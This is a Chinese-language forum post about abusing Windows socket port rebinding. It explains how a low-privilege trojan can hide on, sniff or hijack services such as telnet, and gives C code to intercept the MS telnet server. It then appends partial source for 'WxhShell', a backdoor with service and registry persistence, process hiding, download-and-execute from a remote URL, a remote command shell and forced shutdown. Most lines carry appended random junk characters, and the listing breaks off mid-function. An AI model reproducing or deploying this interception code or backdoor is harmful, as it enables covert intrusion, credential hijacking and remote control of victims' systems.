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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1m-"v:fT5D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (]BZ8GOx  
*"E?n>b  
  saddr.sin_family = AF_INET; !=#230Y  
mfu >j,7l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g;(r@>U.r  
w;$@</  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [P*3ld,,G%  
ZIAiVq2)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g0.D36  
YBgHX [q  
  这意味着什么?意味着可以进行如下的攻击: ;K?fAspSH  
FAu G`zu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H[%F o  
uh`@qmu)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3mn0  
7p}G!]`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ypXKw7f(  
RM53B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9/w'4bd  
x_Ki5~w5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5=Bj?xb$'  
r @~T}<I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S=lA^#'UdX  
=y7]9SOq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G#'3bxI{f+  
K@VXFV  
  #include ovCk :Vz  
  #include : o$ R@l  
  #include w_^&X;0^  
  #include    S6H=(l58  
  DWORD WINAPI ClientThread(LPVOID lpParam);    L}AR{  
  int main() !mL,Ue3/  
  { u*Oz1~  
  WORD wVersionRequested; ^e8R 43w:!  
  DWORD ret; }eb%"ZH4|  
  WSADATA wsaData; ;-=y}DK  
  BOOL val; 5S7`gN.  
  SOCKADDR_IN saddr; FStE/2?  
  SOCKADDR_IN scaddr; W<2%J)N<  
  int err; iCN@G&rVw  
  SOCKET s; Hi|2z5=V  
  SOCKET sc; G"MpA[a_  
  int caddsize; 1s\10 hK1c  
  HANDLE mt; J+\F)k>r  
  DWORD tid;   Bx&` $lW  
  wVersionRequested = MAKEWORD( 2, 2 ); '*>LZo4  
  err = WSAStartup( wVersionRequested, &wsaData ); |[K7oa~#  
  if ( err != 0 ) { Z;S*fS-_  
  printf("error!WSAStartup failed!\n"); .EloBP  
  return -1; =(v!pEF  
  } NJUYeim;  
  saddr.sin_family = AF_INET; w^|,[G ^}H  
   wt2S[:!p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o9wg<LP  
Z55,S=i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <O5;w  
  saddr.sin_port = htons(23); $%r|V*5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6xL=JSi~  
  { 0y;&L63>T  
  printf("error!socket failed!\n"); #j-,#P@  
  return -1; g#[9O'H  
  } `8FC&%X_  
  val = TRUE; ]Jnf. 3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YGWb!|Z$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +1d\ZZA|6&  
  { V"$t>pAG  
  printf("error!setsockopt failed!\n"); Sa,N1r  
  return -1; 'EZ[aY!);  
  } V2VsJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,;+\!'lS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7Wb.(` a<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a m<R!(  
=~=/ dq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $elrX-(vL  
  { R8'yQ#FVy  
  ret=GetLastError(); {Y/| 7Cl0  
  printf("error!bind failed!\n"); eU%5CVH.v  
  return -1; u/.s rK!K  
  } qh7o;x~,  
  listen(s,2); c6c^9*,V  
  while(1) ''5%5(Y.r  
  { ~Y'e1w$`  
  caddsize = sizeof(scaddr); m6;Xo}^w  
  //接受连接请求 ~|uCZ.;o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cJA :vHyw  
  if(sc!=INVALID_SOCKET) !'{j"tv  
  { rB4#}+Uq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .qK=lHxT  
  if(mt==NULL) ?>%u[g   
  { k5/nAaiVE  
  printf("Thread Creat Failed!\n"); %+I(S`}  
  break; k2t?e:)3zr  
  } w:Lu  
  } _23sIUN c3  
  CloseHandle(mt); ;*Rajq  
  } NWAF4i&$  
  closesocket(s); Xx'>5d>  
  WSACleanup(); y5Pw*?kn  
  return 0; gE ,j\M*  
  }   WN?T*bz2  
  DWORD WINAPI ClientThread(LPVOID lpParam) fwq|8^S@  
  { ^mJvB[ u|  
  SOCKET ss = (SOCKET)lpParam; e< CPaun  
  SOCKET sc; "^XN"SUw  
  unsigned char buf[4096]; Q}=RG//0*  
  SOCKADDR_IN saddr; 3Aj_,&X.@(  
  long num; c%Gz{':+  
  DWORD val; zr[~wM  
  DWORD ret; 19N:9;Ixz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xJ"Zg]d{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /ruf1?\,R  
  saddr.sin_family = AF_INET; 6~!YEuA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jSG jv>  
  saddr.sin_port = htons(23); Qy70/on9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VuPET  
  { q~w;C([k_  
  printf("error!socket failed!\n"); /GXO2zO  
  return -1; iit`'}+U  
  } [e}]K:  
  val = 100; ; zvnDox  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /y!Vs`PZ!  
  { ,Tz ,)rY  
  ret = GetLastError(); u}:O[DG  
  return -1; XBY"7}  
  } h7y*2:l6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YSwD#jO0  
  { =#^dG ''*"  
  ret = GetLastError(); 0sUc6_>e  
  return -1; <Z__Q  
  } rL s6MY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B_&PK7vA  
  { 9<M$j x)  
  printf("error!socket connect failed!\n"); E, v1F!  
  closesocket(sc); 7 %|>7  
  closesocket(ss); s{,e^T  
  return -1; AO]lXa  
  }  ~Afs  
  while(1) 3> (`Y  
  { 9@1W=sl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~>C>LH>8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *Qf }4a0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7wqwDE  
  num = recv(ss,buf,4096,0); #NE^f2  
  if(num>0) *Vc=]Z2G^  
  send(sc,buf,num,0); Kje+Niz7  
  else if(num==0) -J30g\  
  break; FG H>;H@  
  num = recv(sc,buf,4096,0); Jzdc'3dq  
  if(num>0) 6~8 RFf"  
  send(ss,buf,num,0); *]eZ Y  
  else if(num==0) q kKABow  
  break; mTPj@F>  
  } V[mQ;:=  
  closesocket(ss); etoE$2c  
  closesocket(sc); iN*>Z(b"  
  return 0 ; PGKXzp'  
  } 1A)~Y   
uUe\[-~  
G8s`<:9*  
========================================================== 0/6&2  
]]Z,Qu#<-  
下边附上一个代码,,WXhSHELL 8bGq"!w-  
8<kme"% s  
========================================================== #~+#72+x7  
#TgJ d  
#include "stdafx.h" [5VUcXGt*\  
1IV 0a  
#include <stdio.h> f UIs(}US  
#include <string.h> KR}0(,Y  
#include <windows.h> 'O`3FI  
#include <winsock2.h> 7&3URglsL"  
#include <winsvc.h> nX~MoWH1  
#include <urlmon.h> -!0LIr:"  
vxeT[/6i  
#pragma comment (lib, "Ws2_32.lib") c7F&~RLC  
#pragma comment (lib, "urlmon.lib") X w8i l  
H5s85"U#  
#define MAX_USER   100 // 最大客户端连接数 x/7G0K2\}  
#define BUF_SOCK   200 // sock buffer 6.|~~/  
#define KEY_BUFF   255 // 输入 buffer LU{Z  
]~^/w}(K  
#define REBOOT     0   // 重启 8UIL_nPO  
#define SHUTDOWN   1   // 关机 =5ih,>>g  
4I-p/&Q  
#define DEF_PORT   5000 // 监听端口 //Gvk|O1  
Oi0;.< kX  
#define REG_LEN     16   // 注册表键长度 JY2 F-0t)  
#define SVC_LEN     80   // NT服务名长度 j''Iai_  
? iX=2-  
// 从dll定义API /;rN/ot2o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ V>%yl{8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2eU[*x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f}X8|GlBo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m-89nOls  
6p " c ^  
// wxhshell配置信息 hU 7fZl%yl  
struct WSCFG { ]M(mq`K  
  int ws_port;         // 监听端口 SR& mHI-f0  
  char ws_passstr[REG_LEN]; // 口令 Gme$FWa  
  int ws_autoins;       // 安装标记, 1=yes 0=no DANSexW  
  char ws_regname[REG_LEN]; // 注册表键名 GC[{=]}9U  
  char ws_svcname[REG_LEN]; // 服务名 .$0Ob<.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m0Syxb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u-{l,p_H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qs9U&*L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QYgN39gp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mi<D bnou  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \+3Wd$I  
-o_T C  
}; tb0E?&M  
CFm1c1%Hg  
// default Wxhshell configuration HY4E  
struct WSCFG wscfg={DEF_PORT, F2$bUY  
    "xuhuanlingzhe",  <%D"eD  
    1, 2<G1'7)  
    "Wxhshell", q|X4[E|{Q  
    "Wxhshell", qffSq](D.  
            "WxhShell Service", f_!`~`04  
    "Wrsky Windows CmdShell Service", L~{Vt~H9"  
    "Please Input Your Password: ", Qe$>Jv5  
  1, !>< %\K  
  "http://www.wrsky.com/wxhshell.exe", r ` &|)Hx  
  "Wxhshell.exe" yim$y, =d  
    }; 50ew/fZj|  
SECQVA_y`  
// 消息定义模块 5TneuGD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tud1xq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g>xUS_d>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J md ?  
char *msg_ws_ext="\n\rExit."; `b")Bx|  
char *msg_ws_end="\n\rQuit."; b8Rh|"J)d  
char *msg_ws_boot="\n\rReboot..."; : W^\ mH  
char *msg_ws_poff="\n\rShutdown..."; =>0M3 Qh{  
char *msg_ws_down="\n\rSave to "; S<3!oDBs  
0?us]lx  
char *msg_ws_err="\n\rErr!"; @JEmybu  
char *msg_ws_ok="\n\rOK!"; _S2^;n?  
O^Vy"8Ji}y  
char ExeFile[MAX_PATH]; M`P]cX)x  
int nUser = 0; OawrS{  
HANDLE handles[MAX_USER]; Z 'NbHwW}  
int OsIsNt; D}/=\J/  
Hu9R.[u  
SERVICE_STATUS       serviceStatus; mBZ Dl4 '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "QO/Jls  
O*03PF^  
// 函数声明 ]cqZ!4?_  
int Install(void); z|]oM#Gt  
int Uninstall(void); !mxh]x<e  
int DownloadFile(char *sURL, SOCKET wsh); 0r-lb[n8i  
int Boot(int flag); O)xEF~DaD  
void HideProc(void); 6IY}SI0N  
int GetOsVer(void); 6L2*gO:r?  
int Wxhshell(SOCKET wsl); NhK(HTsvK  
void TalkWithClient(void *cs); !)/iRw9re  
int CmdShell(SOCKET sock); "YzTMKu  
int StartFromService(void); oT)VOkFq  
int StartWxhshell(LPSTR lpCmdLine); [du>ff  
'<D`:srV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gn W~KLqH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r.wIk0  
q 9brpbg_  
// 数据结构和表定义 mu6xL QdA  
SERVICE_TABLE_ENTRY DispatchTable[] = PyT}}UKj:  
{ U=i8>6V  
{wscfg.ws_svcname, NTServiceMain}, +Bq}>  
{NULL, NULL} ]X: rby$  
}; R_Gq8t$  
tM$0 >E  
// 自我安装 5d?!<(e6  
int Install(void) JNFT6T)T15  
{ TFC!u 0Y"$  
  char svExeFile[MAX_PATH]; rZ.a>'T4  
  HKEY key; dI0bTw|s/  
  strcpy(svExeFile,ExeFile); [ lzy &To  
(>LHj]}K  
// 如果是win9x系统,修改注册表设为自启动 sMfFm@\N  
if(!OsIsNt) { K"k"ml<4E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]PzTl {]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r$r&4d Y  
  RegCloseKey(key); k~jKJb-_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8q~FUJhU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {{]=zt|69  
  RegCloseKey(key); /y](mu"!  
  return 0; 6PJJ?}P^1  
    } "_1-IE  
  } )qyx|D  
} ~f=6?5.wa  
else { dx13vZ3[U  
XW~ BEa  
// 如果是NT以上系统,安装为系统服务 tT* W5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YZBzv2'\x  
if (schSCManager!=0) qsft*&  
{ ^EUOmVN  
  SC_HANDLE schService = CreateService I^M#[xA  
  (  bL'#  
  schSCManager, 4VmCW"b7h  
  wscfg.ws_svcname, )"_Ff,9Z!  
  wscfg.ws_svcdisp, #U$YZ#B  
  SERVICE_ALL_ACCESS, X&9^&U=e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b>bgUDq  
  SERVICE_AUTO_START, uq|vNLW26  
  SERVICE_ERROR_NORMAL, Lov.E3S6;  
  svExeFile, 3%[)!zKv  
  NULL, miG; ]-"^  
  NULL, -; us12SZ  
  NULL, P^b:?%  
  NULL, yul<n>X|  
  NULL 0r0\b*r  
  ); <t[Z9s$n  
  if (schService!=0) W>?f^C!+m  
  { F8uRT&m B0  
  CloseServiceHandle(schService); [>$\s=` h  
  CloseServiceHandle(schSCManager); . QQ?w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zL)1^[%O9  
  strcat(svExeFile,wscfg.ws_svcname); lTV@b&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o5=)~D{/G3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C,|nmlDN  
  RegCloseKey(key); yhSk"e'G  
  return 0; -[zdX}x.:  
    } _OJ0 < {E  
  } agU%z:M{  
  CloseServiceHandle(schSCManager); bl" (<TM  
} B?$01?9V  
} p|h.@do4   
tDC0-N&6S~  
return 1; Hi; K"H]x1  
} Q? <-`7  
R<n8M"B  
// 自我卸载 L,C? gd@"  
int Uninstall(void) aPD?Bh>JU  
{ MiSja#"+A  
  HKEY key; ]5} -y3  
+,&m7L  
if(!OsIsNt) { %uGleY]~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wO^$!zB W  
  RegDeleteValue(key,wscfg.ws_regname); i7S>RB  
  RegCloseKey(key); .)i O Du  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LN@E\wRw{r  
  RegDeleteValue(key,wscfg.ws_regname); aW0u8Dz  
  RegCloseKey(key); -Q<z1vz  
  return 0; t(J![wB}  
  } 0Y5LDP  
} v%H"_T  
} Jh37pI  
else { vF9*tK'   
B;xZ% M]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "XGD:>Q.  
if (schSCManager!=0) vnz[w=U  
{ TpJg-F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zg)_cRR   
  if (schService!=0) )ZT6:)  
  { =d go!k  
  if(DeleteService(schService)!=0) { [kPD`be2#  
  CloseServiceHandle(schService); e1^fUOS  
  CloseServiceHandle(schSCManager); E:08%4O  
  return 0; ad"'O]  
  } \@Ee9C 13  
  CloseServiceHandle(schService); p&i. )/  
  } J"%8:pL  
  CloseServiceHandle(schSCManager); Ef2Y l  
} XMt u"K  
} bH'S.RWp=  
?r{TOj n  
return 1; XOu+&wOu  
} CTl(_g  
kcLj Kp  
// 从指定url下载文件 P7's8KOoS  
int DownloadFile(char *sURL, SOCKET wsh) 1i4WWK7k  
{ yJDeX1+,  
  HRESULT hr; /3Jz3  
char seps[]= "/"; f=t:[ < )  
char *token; 7)B&(2D&  
char *file; f"vk# 3  
char myURL[MAX_PATH]; v2Dt3$@H6  
char myFILE[MAX_PATH]; uzHT.iBn  
YSqv86  
strcpy(myURL,sURL); *,"jF!C&[  
  token=strtok(myURL,seps); By2s']bw  
  while(token!=NULL) *R5`.j =  
  { t(}/g  
    file=token; A[RHw<  
  token=strtok(NULL,seps); &svx@wW  
  } ^`tk/#h\9F  
Z+NF(d  
GetCurrentDirectory(MAX_PATH,myFILE); #X#8ynt  
strcat(myFILE, "\\"); W0Ktw6  
strcat(myFILE, file); 9Hu d|n  
  send(wsh,myFILE,strlen(myFILE),0); ]53O}sH>  
send(wsh,"...",3,0); wAw42{M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^uia`sOP4  
  if(hr==S_OK) a*D,*C5}  
return 0; v9u<F6  
else ERF,tLa!  
return 1; w'A tf  
'0 ]r<O  
} >L^xlm%7o  
| z:Q(d06  
// 系统电源模块 S"zk!2@C  
int Boot(int flag) xZX`%f-  
{ C`)_i3 ^  
  HANDLE hToken; b 8>q;  
  TOKEN_PRIVILEGES tkp; gc##V]OD  
Hk@r5<{  
  if(OsIsNt) { }7.#Dj/r6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C)OG62  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J7:9_/ e0T  
    tkp.PrivilegeCount = 1; cA<<& C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZP-dW|<[ x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _mXs4  
if(flag==REBOOT) { %4,xx'`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e8oKn&  
  return 0; O16r!6=-n  
} flP>@i:e6  
else { zDB" r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dXl]Pe|v  
  return 0; |k6Ox*  
} Axlm<3<wf"  
  } FY8!g'.Oe  
  else { '99@=3AB:`  
if(flag==REBOOT) { lkb2?2\+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _%{0?|=  
  return 0; %%&e"&7HE  
} bG(x:Py&  
else { |H W( vA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4@6 <  
  return 0; W .U+.hR  
} T^]7R4 Fg  
} /YFa ;2 W  
Q/py qe G  
return 1; G=|70pxU  
} :k~dj C  
:=9<  
// win9x进程隐藏模块 9*\g`fWc}{  
void HideProc(void) 0oSQY[ht/  
{ p>q&&;fe  
n3$gx,KL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GF'f[F6oI  
  if ( hKernel != NULL ) Q.A \U>AgV  
  { 0 _A23.Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hU" F;4p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s)k y/ce  
    FreeLibrary(hKernel); )t%h[0{{  
  } RDJ+QOVKg  
oxfF`L"  
return;  <B )   
} :3^dF}>  
zb:kanb-  
// 获取操作系统版本 =We2^W-{  
int GetOsVer(void) hm\\'_u  
{ u]E.iXp  
  OSVERSIONINFO winfo; t`YWwI.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PNpu*# Z`  
  GetVersionEx(&winfo); I8u!\F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 59 <hV?  
  return 1; zsVcXBz  
  else XQ?fJWLU  
  return 0; \GL*0NJ  
} b+{r! D}~  
6{=_718l`  
// 客户端句柄模块 vk'rA{x  
int Wxhshell(SOCKET wsl) 8eJE>g1J  
{  $:EG%jl  
  SOCKET wsh; E(4w5=8TI  
  struct sockaddr_in client; }G'XkoI&  
  DWORD myID; \|%E%Yc  
OCNPi4  
  while(nUser<MAX_USER) BvK QlT  
{ I9 &lO/c0  
  int nSize=sizeof(client); dJi|D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZzcPiTSO  
  if(wsh==INVALID_SOCKET) return 1; V_"f|[1  
}pawIf4V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =45W\  
if(handles[nUser]==0) yMxTfR  
  closesocket(wsh); TH4\HY9qa?  
else (0L=AxH  
  nUser++; vtyx`F f  
  } "^Rv#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J,5+47b1}R  
x[X`a  
  return 0; vHcqEV|P/n  
} {^mKvc  
0<.R A%dj  
// 关闭 socket "0Q1qZ  
void CloseIt(SOCKET wsh) E\M-k\cSj  
{ BBnq_w"a  
closesocket(wsh); 7-* =|gl+  
nUser--; V%NeZ1{ e  
ExitThread(0); K_ke2{4Jm  
} UyiJU~r1  
aG{$Ic  
// 客户端请求句柄 vzXag*0  
void TalkWithClient(void *cs) YGk9b+`  
{ %8r/oS  
hXB|g[zT  
  SOCKET wsh=(SOCKET)cs; pC(sS0J  
  char pwd[SVC_LEN]; ;ME)Og  
  char cmd[KEY_BUFF]; ~OypE4./1  
char chr[1]; >jTp6tu,  
int i,j; <9eu1^g  
zT#`qCbT'J  
  while (nUser < MAX_USER) { : ]WqfR)#  
Zu/<NC (  
if(wscfg.ws_passstr) { 7L3ik;>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Ii1B{W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _#C()Ro*P  
  //ZeroMemory(pwd,KEY_BUFF); Kq)MTlP0g  
      i=0; I#G0, &Gv  
  while(i<SVC_LEN) { Eu,`7iQ?(  
pqR\>d 0  
  // 设置超时 3BQ!qO17^d  
  fd_set FdRead; Q5a)}6-5  
  struct timeval TimeOut; yI3kvh  
  FD_ZERO(&FdRead); Vf $Dnu@}z  
  FD_SET(wsh,&FdRead); {whvTN1#dh  
  TimeOut.tv_sec=8; ,}SCa'PB  
  TimeOut.tv_usec=0; eQDX:b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3EK9,:<Cf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u2iXJmM*  
s'\$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z?G&.# :  
  pwd=chr[0]; 0-d>I@j  
  if(chr[0]==0xd || chr[0]==0xa) { /4irAG% Oj  
  pwd=0;  5@!st  
  break; -e]7n*}H$  
  } Z`Z5sj 4{  
  i++; -{jdn%Y7CK  
    } 1AD]v<M  
Jxl6a:  
  // 如果是非法用户,关闭 socket 7cTk@Gq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D Ml?o:l  
} 5:.{oSy7n  
19UN*g3(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I5ZqBB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kHK0(bYK  
Zjh2{ :  
while(1) { 9Ul(GI(  
gl%`qf6:O  
  ZeroMemory(cmd,KEY_BUFF); S<wj*"|.s  
Af(WV>'  
      // 自动支持客户端 telnet标准   &qM[g 9  
  j=0; `'S0*kMT  
  while(j<KEY_BUFF) { #q\x$   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T^.Cc--c  
  cmd[j]=chr[0]; aHzHvl  
  if(chr[0]==0xa || chr[0]==0xd) { +-?/e-z")  
  cmd[j]=0; }hpm O-  
  break; ~FU@wV^   
  } /8'S1!zc  
  j++; zg)sd1@  
    } |I;$M;'r&  
gb|Q%LS9R  
  // 下载文件 <If35Z)~  
  if(strstr(cmd,"http://")) { *Mc7f?H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \*t~==WB  
  if(DownloadFile(cmd,wsh)) c3%@Wj:fo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,5 j"ruZ  
  else *XOJnyC_H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nAJdr*`a,5  
  } R\3VB NX.g  
  else { bPK Ow<  
0pb '\lA  
    switch(cmd[0]) { NE2pL@ sk  
  l\0w;:N3  
  // 帮助 <6TT)t<h  
  case '?': { T4/fdORS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ <`(lyph  
    break; Jb_1LZ) ]  
  } `O?T.p)   
  // 安装 K kW;-{c  
  case 'i': { -7H^n#]  
    if(Install()) EI>l-N2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?tdd3ai>  
    else Cs3^9m6;d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;cUl, :v  
    break; Oc].@Jy  
    } Df =dt  
  // 卸载 YV% 5y1 i  
  case 'r': { pW0dB_  
    if(Uninstall()) :e1o<JgPt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g6t"mkMY L  
    else /&#XhrT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lA(Q@yEW  
    break; /'2O.d0}.  
    } ) /vhclkb  
  // 显示 wxhshell 所在路径 QS.>0i/7l  
  case 'p': { R:-JkV>e:  
    char svExeFile[MAX_PATH]; asiov[o;  
    strcpy(svExeFile,"\n\r"); 6d[_G$'nk  
      strcat(svExeFile,ExeFile); Am0{8 '  
        send(wsh,svExeFile,strlen(svExeFile),0); '7Nr8D4L  
    break; Cb t{ H}I3  
    } ]M>9ULQ  
  // 重启 N]EcEM#  
  case 'b': { B$3 ?K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $0oO &)*  
    if(Boot(REBOOT)) l- pe4x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s&kQlQ=  
    else { >>b3ZE|5  
    closesocket(wsh); AmPMY:1i"  
    ExitThread(0); 0kQPJWF  
    } jxa D&4Fs8  
    break; >KLtY|o)  
    } AUVgPXOwd  
  // 关机 lE8&..~l$+  
  case 'd': { 0 S_':r   
